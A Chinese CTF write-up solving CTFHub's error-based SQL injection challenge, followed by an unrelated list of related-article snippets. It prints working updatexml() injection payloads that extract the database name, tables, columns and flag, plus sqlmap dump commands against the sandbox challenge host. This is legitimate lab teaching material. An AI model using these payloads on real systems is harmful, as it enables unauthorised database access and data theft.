CTFHUB技能树之SQL——报错注入

news/2024/10/23 17:08:25/

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag


http://www.ppmy.cn/news/1541393.html

相关文章

JavaScript 第21章:Canvas 与图形绘制

在JavaScript中&#xff0c;HTML5的<canvas>元素提供了强大的绘图功能。这一章节将介绍如何使用Canvas API来绘制2D图形&#xff0c;并探讨动画和变换的基础知识。 Canvas API <canvas>是一个HTML元素&#xff0c;它提供了一个矩形区域用于渲染图形。在JavaScrip…

pytorh学习笔记——cifar10(一)生成数据

CIFAR&#xff08;Canadian Institute For Advanced Research&#xff09;是一个用于图像识别研究的数据集。CIFAR数据集包含多个子数据集&#xff0c;最常用的是CIFAR-10和CIFAR-100。 CIFAR-10数据集包含60000张32x32彩色图像&#xff0c;分为10个类别&#xff0c;每…

vue使用jquery的ajax,页面跳转

一、引入jquery依赖 打开终端更新npm npm install -g npm 更新完后引入输入npm install jquery 加载完后 在最外层的package.json文件中加入以下代码 配置好后导入jquery 设置变量用于接收服务器传输的数据 定义ajax申请数据 服务器的Controller层传输数据 &#xff08;…

富唯智能:重塑CNC格局,柔性制造开启智能制造新时代

在智能制造的浪潮中&#xff0c;精密加工行业正经历着前所未有的变革。面对“用工荒、用工难”的严峻挑战&#xff0c;以及传统自动化升级中的重重障碍&#xff0c;富唯智能以创新为翼&#xff0c;携矩阵式柔性制造产线整体解决方案&#xff0c;为精密加工企业开辟了一条高效、…

Python 数据结构和算法面试题,使用 Jupyter Notebook 编写

关注B站可以观看更多实战教学视频&#xff1a;hallo128的个人空间 Python 数据结构和算法面试题&#xff0c;使用 Jupyter Notebook 编写 目录 Python 数据结构和算法面试题&#xff0c;使用 Jupyter Notebook 编写1. 反转链表2. 合并两个有序链表3. 二分查找4. 快速排序5. 最小…

华为云桌面:构建灵活高效的数字化工作环境

在数字化转型的时代&#xff0c;企业对于灵活性和高效性的需求日益增强。华为云桌面作为一款创新的云桌面解决方案&#xff0c;凭借其强大的功能和灵活的部署方式&#xff0c;正在帮助企业重新定义工作方式&#xff0c;提升团队的协作效率和工作体验。下面让九河云来给大家说一…

PFC理论与Matlab仿真

一、整流器滤波电路概述 整流器滤波电路的主要功能是将交流电&#xff08;AC&#xff09;转换为直流电&#xff08;DC&#xff09;&#xff0c;并通过滤波器减少波动以输出稳定的直流电。其工作原理主要分为两个部分&#xff1a;整流部分和滤波部分。 1.整流部分 整流器的核心…

在使用代理IP时,需要注意以下几点:

1. 代理IP的质量和稳定性直接影响爬虫的效果。因此&#xff0c;我们需要定期更新代理IP列表&#xff0c;并筛选出可用的代理IP。 2. 有些代理IP可能存在被目标网站封禁的风险。因此&#xff0c;我们需要合理使用代理IP&#xff0c;避免过度频繁地访问目标网站。 3. 在使用代…